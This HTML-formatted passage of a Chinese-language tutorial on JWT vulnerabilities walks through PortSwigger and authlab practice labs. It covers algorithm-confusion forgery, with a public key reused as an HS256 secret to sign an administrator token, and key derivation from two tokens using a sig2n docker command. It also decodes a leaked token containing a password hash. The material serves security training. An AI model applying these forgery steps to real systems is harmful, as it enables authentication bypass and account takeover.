                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">==</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 7</span><span style="font-family:宋体;font-size:12.0pt;">:在<span lang="EN-US">JWT Editor Keys</span>处,生成新的对称加密<span lang="EN-US">Key</span>,用之前保存的<span lang="EN-US">base64</span>编码去替换<span lang="EN-US">k</span>的值<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"oct"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"63b7b785-4d35-4cb7-bbc6-9d9e17dcf5fe"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"k"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6c2lJc1ZxQUtTcE9uT3hNS3JJMApoVDNwOG0vTkszVm9lakZudDRIeDJDRnp2SnNaNC85bW1vSVZ3aS9uWFlyN050TlY3c3RPU1M0TUd6WWRKNTd0CjR2ODNCOWg3dUkxZmRLU3ArTCtjaXNnMzFTMFdtNUIvTERudnVBQkZNY1NoSitES1RnRVlmTEhhRzMxSnVkbHkKSmRuZmdOSUlhMFhMK3diR2g3WHNoZjhSdHpSOEZDMkRmQXBYLytLWFlObkh4blRLVFBYbDV1bkJnQ3h5bnkybgoyQ3dvQ0lpWWV0N3M3WDFjM3Fod2t0V2s2eEpUbXZrcmQ4NUtCbERTeUVqQmhFUFBYcmJWZnFvOHNOeGtZK0UyCkZYSW9QSXQ4bS9WU1hsc0t5WnBqcGZYVEpKWm8vSXFhekFsMVhCVzZiandXanh3ZWUwWGJ5dDdNMS8xZFRLamEKQXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 8</span><span style="font-family:宋体;font-size:12.0pt;">:捕获请求数据报并将其发送到<span lang="EN-US">repeat</span>模块<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">此时直接请求<span lang="EN-US">/admin</span>是无法请求到的<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 9</span><span style="font-family:宋体;font-size:12.0pt;">:随后修改<span lang="EN-US">alg</span>为<span lang="EN-US">HS256</span>,修改<span lang="EN-US">sub</span>为<span lang="EN-US">administrator</span>并进行<span lang="EN-US">Sign</span>操作<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 10</span><span style="font-family:宋体;font-size:12.0pt;">:重新发送数据包可以看到回显成功<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 11</span><span style="font-family:宋体;font-size:12.0pt;">:请求敏感连接删除用户完成解题<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">令牌派生公钥</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">基本介绍</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在公钥不可用的情况下您仍然可以通过使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwt _ forgery.py</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">之类的工具从一对现有的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中获取密钥来测试算法混淆,您可以在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">rsa_sign2n GitHub</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">存储库中找到几个有用的脚本</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
https://github.com/silentsignal/rsa_sign2n</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">简易示例</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 1</span><span style="font-family:宋体;font-size:12.0pt;">:安装常规操作登录登出,再登录,获取两个<span lang="EN-US">JWT</span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">随后将其放到<span lang="EN-US">Port</span>提供的<span lang="EN-US">docker</span>工具里面运行,运行的命令如下<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">docker run </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">--</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">rm </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">it portswigger</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">sig2n </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token1</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token2</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">jwt _ forgery.py</span><span style="font-family:宋体;font-size:12.0pt;">脚本会输出一系列<span lang="EN-US">token</span>的存在情况值<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:这里我们尝试每一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Tempered JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Port</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">这里给了提示说是</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X.509 </span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">形式的,所以我们只需要将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">X.509</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">形式的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行验证即可,当</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Response</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">回应</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">200</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">时代表</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是有效的,若为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">302</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">则代表了重定向,下图是一个成功的案例</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">Step 3</span><span style="font-family:宋体;font-size:12.0pt;">:将<span lang="EN-US">JWT</span>的<span lang="EN-US">Base64</span>编码拿过来先放到记事本里面暂存,在<span lang="EN-US">Burpsuite</span>的<span lang="EN-US">JWT Editor Keys</span>点击<span lang="EN-US">New Symmetric Key</span>,将上面的<span lang="EN-US">Base64</span>编码拿过来替换此对称密钥的<span lang="EN-US">k</span>值,生成对称密钥之后进行和之前攻击一致的<span lang="EN-US">Sign</span>操作<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">敏感信息泄露</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">基本介绍</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">敏感信息泄露是指攻击者通过某种方式获取了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中包含的敏感信息,例如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户的身份、权限或其他敏感数据,这种攻击可能会导致恶意用户冒充合法用户执行未经授权的操作或者访问敏感信息,常见的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">敏感信息泄露方式包括:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">窃取</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:攻击者通过窃取</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌来获取其中的敏感信息,这可以通过窃取存储在客户端的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌或者通过攻击服务器端的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">签名算法来实现</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">窃取载荷:攻击者可以在传输过程中窃取</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的载荷部分,这可以通过窃听网络流量或者拦截</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌来实现</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">暴力破解:攻击者可以通过暴力破解</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">签名算法来获取</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中包含的敏感信息</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">简易示例</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://authlab.digi.ninja/Leaky_JWT</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">靶场<span lang="EN-US">JWT</span>信息如上所示,而在实战中我们可以去抓包,如果抓到的数据包中有类似这样的<span lang="EN-US">JWT</span>认证那我们就可以直接拿去解密了,我们拿到的数据是这样的:<span lang="EN-US"></span></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0</span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">.6</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">j3NrK</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">0</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">上面是一个标准的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">认证的格式,其包含</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Signature</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">三个部分,每个部分之间又以</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"."</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">号分割,他这里的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">认证是经过</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">加密的,所以我们这里先要拿到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">解密网站去解密一下</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
https://base64.us/</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
